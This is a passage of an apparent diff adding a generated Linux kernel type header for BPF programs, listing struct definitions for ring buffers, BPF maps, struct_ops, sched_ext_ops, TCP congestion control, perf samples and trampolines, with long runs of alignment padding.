+ long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned long consumer_pos; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned long producer_pos; + unsigned long pending_pos; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + char data[0]; +}; + +struct bpf_ringbuf_hdr { + u32 len; + u32 pg_off; +}; + +struct bpf_ringbuf_map { + struct bpf_map map; + struct bpf_ringbuf *rb; +}; + +struct bpf_sanitize_info { + struct bpf_insn_aux_data aux; + bool mask_to_left; +}; + +struct bpf_scratchpad { + union { + __be32 diff[128]; + u8 buff[512]; + }; + local_lock_t bh_lock; +}; + +struct bpf_session_run_ctx { + struct bpf_run_ctx run_ctx; + bool is_return; + void *data; +}; + +struct sk_psock_progs { + struct bpf_prog *msg_parser; + struct bpf_prog *stream_parser; + struct bpf_prog *stream_verdict; + struct bpf_prog *skb_verdict; + struct bpf_link *msg_parser_link; + struct bpf_link *stream_parser_link; + struct bpf_link *stream_verdict_link; + struct bpf_link *skb_verdict_link; +}; + +struct bpf_shtab_bucket; + +struct bpf_shtab { + struct bpf_map map; + struct bpf_shtab_bucket *buckets; + u32 buckets_num; + u32 elem_size; + struct sk_psock_progs progs; + atomic_t count; +}; + +struct bpf_shtab_bucket { + struct hlist_head head; + spinlock_t lock; +}; + +struct bpf_shtab_elem { + struct callback_head rcu; + u32 hash; + struct sock *sk; + struct hlist_node node; + u8 key[0]; +}; + +struct bpf_sk_storage_diag { + u32 nr_maps; + struct bpf_map *maps[0]; +}; + +struct qdisc_skb_cb { + struct { + unsigned int pkt_len; + u16 slave_dev_queue_mapping; + u16 tc_classid; + }; + unsigned char data[20]; +}; + +struct bpf_skb_data_end { + struct qdisc_skb_cb qdisc_cb; + void *data_meta; + void *data_end; +}; + +struct bpf_sock_tuple { + union { + struct { + __be32 saddr; + __be32 daddr; + __be16 sport; + __be16 dport; + } ipv4; + struct { + __be32 saddr[4]; + __be32 daddr[4]; + __be16 sport; + __be16 dport; + } ipv6; + }; +}; + +struct bpf_sockopt_buf { + u8 data[32]; +}; + +struct bpf_stab { + struct bpf_map map; + struct sock **sks; + struct sk_psock_progs progs; + spinlock_t lock; +}; + +struct bpf_stack_build_id { + __s32 status; + unsigned char build_id[20]; + union { + __u64 offset; + __u64 ip; + }; +}; + +struct stack_map_bucket; + +struct bpf_stack_map { + struct bpf_map map; + void *elems; + struct pcpu_freelist freelist; + u32 n_buckets; + struct stack_map_bucket *buckets[0]; +}; + +struct bpf_stack_state { + struct bpf_reg_state spilled_ptr; + u8 slot_type[8]; +}; + +struct bpf_storage_buffer { + struct callback_head rcu; + char data[0]; +}; + +struct bpf_verifier_ops; + +struct btf_member; + +struct bpf_struct_ops { + const struct bpf_verifier_ops *verifier_ops; + int (*init)(struct btf *); + int (*check_member)(const struct btf_type *, const struct btf_member *, const struct bpf_prog *); + int (*init_member)(const struct btf_type *, const struct btf_member *, void *, const void *); + int (*reg)(void *, struct bpf_link *); + void (*unreg)(void *, struct bpf_link *); + int (*update)(void *, void *, struct bpf_link *); + int (*validate)(void *); + void *cfi_stubs; + struct module *owner; + const char *name; + struct btf_func_model func_models[64]; +}; + +struct bpf_struct_ops_arg_info { + struct bpf_ctx_arg_aux *info; + u32 cnt; +}; + +struct bpf_struct_ops_common_value { + refcount_t refcnt; + enum bpf_struct_ops_state state; +}; + +struct bpf_struct_ops_bpf_dummy_ops { + struct bpf_struct_ops_common_value common; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct bpf_dummy_ops data; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_struct_ops_desc { + struct bpf_struct_ops *st_ops; + const struct btf_type *type; + const struct btf_type *value_type; + u32 type_id; + u32 value_id; + struct bpf_struct_ops_arg_info *arg_info; +}; + +struct bpf_struct_ops_link { + struct bpf_link link; + struct bpf_map __attribute__((btf_type_tag("rcu"))) *map; + wait_queue_head_t wait_hup; +}; + +struct bpf_struct_ops_value { + struct bpf_struct_ops_common_value common; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + char data[0]; +}; + +struct bpf_struct_ops_map { + struct bpf_map map; + struct callback_head rcu; + const struct bpf_struct_ops_desc *st_ops_desc; + struct mutex lock; + struct bpf_link **links; + u32 links_cnt; + u32 image_pages_cnt; + void *image_pages[8]; + struct btf *btf; + struct bpf_struct_ops_value *uvalue; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct bpf_struct_ops_value kvalue; +}; + +struct scx_cpu_acquire_args; + +struct scx_cpu_release_args; + +struct scx_init_task_args; + +struct scx_exit_task_args; + +struct scx_dump_ctx; + +struct scx_cgroup_init_args; + +struct scx_exit_info; + +struct sched_ext_ops { + s32 (*select_cpu)(struct task_struct *, s32, u64); + void (*enqueue)(struct task_struct *, u64); + void (*dequeue)(struct task_struct *, u64); + void (*dispatch)(s32, struct task_struct *); + void (*tick)(struct task_struct *); + void (*runnable)(struct task_struct *, u64); + void (*running)(struct task_struct *); + void (*stopping)(struct task_struct *, bool); + void (*quiescent)(struct task_struct *, u64); + bool (*yield)(struct task_struct *, struct task_struct *); + bool (*core_sched_before)(struct task_struct *, struct task_struct *); + void (*set_weight)(struct task_struct *, u32); + void (*set_cpumask)(struct task_struct *, const struct cpumask *); + void (*update_idle)(s32, bool); + void (*cpu_acquire)(s32, struct scx_cpu_acquire_args *); + void (*cpu_release)(s32, struct scx_cpu_release_args *); + s32 (*init_task)(struct task_struct *, struct scx_init_task_args *); + void (*exit_task)(struct task_struct *, struct scx_exit_task_args *); + void (*enable)(struct task_struct *); + void (*disable)(struct task_struct *); + void (*dump)(struct scx_dump_ctx *); + void (*dump_cpu)(struct scx_dump_ctx *, s32, bool); + void (*dump_task)(struct scx_dump_ctx *, struct task_struct *); + s32 (*cgroup_init)(struct cgroup *, struct scx_cgroup_init_args *); + void (*cgroup_exit)(struct cgroup *); + s32 (*cgroup_prep_move)(struct task_struct *, struct cgroup *, struct cgroup *); + void (*cgroup_move)(struct task_struct *, struct cgroup *, struct cgroup *); + void (*cgroup_cancel_move)(struct task_struct *, struct cgroup *, struct cgroup *); + void (*cgroup_set_weight)(struct cgroup *, u32); + void (*cpu_online)(s32); + void (*cpu_offline)(s32); + s32 (*init)(void); + void (*exit)(struct scx_exit_info *); + u32 dispatch_max_batch; + u64 flags; + u32 timeout_ms; + u32 exit_dump_len; + u64 hotplug_seq; + char name[128]; +}; + +struct bpf_struct_ops_sched_ext_ops { + struct bpf_struct_ops_common_value common; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sched_ext_ops data; + long: 64; + long: 64; + long: 64; +}; + +struct rate_sample; + +union tcp_cc_info; + +struct tcp_congestion_ops { + u32 (*ssthresh)(struct sock *); + void (*cong_avoid)(struct sock *, u32, u32); + void (*set_state)(struct sock *, u8); + void (*cwnd_event)(struct sock *, enum tcp_ca_event); + void (*in_ack_event)(struct sock *, u32); + void (*pkts_acked)(struct sock *, const struct ack_sample *); + u32 (*min_tso_segs)(struct sock *); + void (*cong_control)(struct sock *, u32, int, const struct rate_sample *); + u32 (*undo_cwnd)(struct sock *); + u32 (*sndbuf_expand)(struct sock *); + size_t (*get_info)(struct sock *, u32, int *, union tcp_cc_info *); + char name[16]; + struct module *owner; + struct list_head list; + u32 key; + u32 flags; + void (*init)(struct sock *); + void (*release)(struct sock *); + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_struct_ops_tcp_congestion_ops { + struct bpf_struct_ops_common_value common; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct tcp_congestion_ops data; +}; + +struct bpf_subprog_arg_info { + enum bpf_arg_type arg_type; + union { + u32 mem_size; + u32 btf_id; + }; +}; + +struct bpf_subprog_info { + u32 start; + u32 linfo_idx; + u16 stack_depth; + u16 stack_extra; + s16 fastcall_stack_off; + bool has_tail_call: 1; + bool tail_call_reachable: 1; + bool has_ld_abs: 1; + bool is_cb: 1; + bool is_async_cb: 1; + bool is_exception_cb: 1; + bool args_cached: 1; + bool keep_fastcall_stack: 1; + u8 arg_cnt; + struct bpf_subprog_arg_info args[5]; +}; + +struct tcp_iter_state { + struct seq_net_private p; + enum tcp_seq_states state; + struct sock *syn_wait_sk; + int bucket; + int offset; + int sbucket; + int num; + loff_t last_pos; +}; + +struct bpf_tcp_iter_state { + struct tcp_iter_state state; + unsigned int cur_sk; + unsigned int end_sk; + unsigned int max_sk; + struct sock **batch; + bool st_bucket_done; +}; + +struct bpf_tcp_req_attrs { + u32 rcv_tsval; + u32 rcv_tsecr; + u16 mss; + u8 rcv_wscale; + u8 snd_wscale; + u8 ecn_ok; + u8 wscale_ok; + u8 sack_ok; + u8 tstamp_ok; + u8 usec_ts_ok; + u8 reserved[3]; +}; + +struct bpf_tcp_sock { + __u32 snd_cwnd; + __u32 srtt_us; + __u32 rtt_min; + __u32 snd_ssthresh; + __u32 rcv_nxt; + __u32 snd_nxt; + __u32 snd_una; + __u32 mss_cache; + __u32 ecn_flags; + __u32 rate_delivered; + __u32 rate_interval_us; + __u32 packets_out; + __u32 retrans_out; + __u32 total_retrans; + __u32 segs_in; + __u32 data_segs_in; + __u32 segs_out; + __u32 data_segs_out; + __u32 lost_out; + __u32 sacked_out; + __u64 bytes_received; + __u64 bytes_acked; + __u32 dsack_dups; + __u32 delivered; + __u32 delivered_ce; + __u32 icsk_retransmits; +}; + +struct bpf_test_timer { + enum { + NO_PREEMPT = 0, + NO_MIGRATE = 1, + } mode; + u32 i; + u64 time_start; + u64 time_spent; +}; + +struct bpf_throw_ctx { + struct bpf_prog_aux *aux; + u64 sp; + u64 bp; + int cnt; +}; + +struct bpf_timer { + __u64 __opaque[2]; +}; + +struct user_namespace; + +struct bpf_token { + struct work_struct work; + atomic64_t refcnt; + struct user_namespace *userns; + u64 allowed_cmds; + u64 allowed_maps; + u64 allowed_progs; + u64 allowed_attachs; +}; + +struct bpf_trace_module { + struct module *module; + struct list_head list; +}; + +struct bpf_trace_run_ctx { + struct bpf_run_ctx run_ctx; + u64 bpf_cookie; + bool is_uprobe; +}; + +union perf_sample_weight { + __u64 full; + struct { + __u32 var1_dw; + __u16 var2_w; + __u16 var3_w; + }; +}; + +union perf_mem_data_src { + __u64 val; + struct { + __u64 mem_op: 5; + __u64 mem_lvl: 14; + __u64 mem_snoop: 5; + __u64 mem_lock: 2; + __u64 mem_dtlb: 7; + __u64 mem_lvl_num: 4; + __u64 mem_remote: 1; + __u64 mem_snoopx: 2; + __u64 mem_blk: 3; + __u64 mem_hops: 3; + __u64 mem_rsvd: 18; + }; +}; + +struct perf_regs { + __u64 abi; + struct pt_regs *regs; +}; + +struct perf_callchain_entry; + +struct perf_raw_record; + +struct perf_branch_stack; + +struct perf_sample_data { + u64 sample_flags; + u64 period; + u64 dyn_size; + u64 type; + struct { + u32 pid; + u32 tid; + } tid_entry; + u64 time; + u64 id; + struct { + u32 cpu; + u32 reserved; + } cpu_entry; + u64 ip; + struct perf_callchain_entry *callchain; + struct perf_raw_record *raw; + struct perf_branch_stack *br_stack; + u64 *br_stack_cntr; + union perf_sample_weight weight; + union perf_mem_data_src data_src; + u64 txn; + struct perf_regs regs_user; + struct perf_regs regs_intr; + u64 stack_user_size; + u64 stream_id; + u64 cgroup; + u64 addr; + u64 phys_addr; + u64 data_page_size; + u64 code_page_size; + u64 aux_size; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_trace_sample_data { + struct perf_sample_data sds[3]; +}; + +struct bpf_tramp_link { + struct bpf_link link; + struct hlist_node tramp_hlist; + u64 cookie; +}; + +struct bpf_tracing_link { + struct bpf_tramp_link link; + enum bpf_attach_type attach_type; + struct bpf_trampoline *trampoline; + struct bpf_prog *tgt_prog; +}; + +struct bpf_tramp_image { + void *image; + int size; + struct bpf_ksym ksym; + struct percpu_ref pcref; + void *ip_after_call; + void *ip_epilogue; + union { + struct callback_head rcu; + struct work_struct work; + }; +}; + +struct bpf_tramp_links { + struct bpf_tramp_link *links[38]; + int nr_links; +}; + +struct bpf_tramp_run_ctx { + struct bpf_run_ctx run_ctx; + u64 bpf_cookie; + struct bpf_run_ctx *saved_run_ctx; +}; + +struct ftrace_ops; + +struct bpf_trampoline { + struct hlist_node hlist; + struct ftrace_ops *fops; + struct mutex mutex; + refcount_t refcnt; + u32 flags; + u64 key; + struct { + struct btf_func_model model; + void *addr; 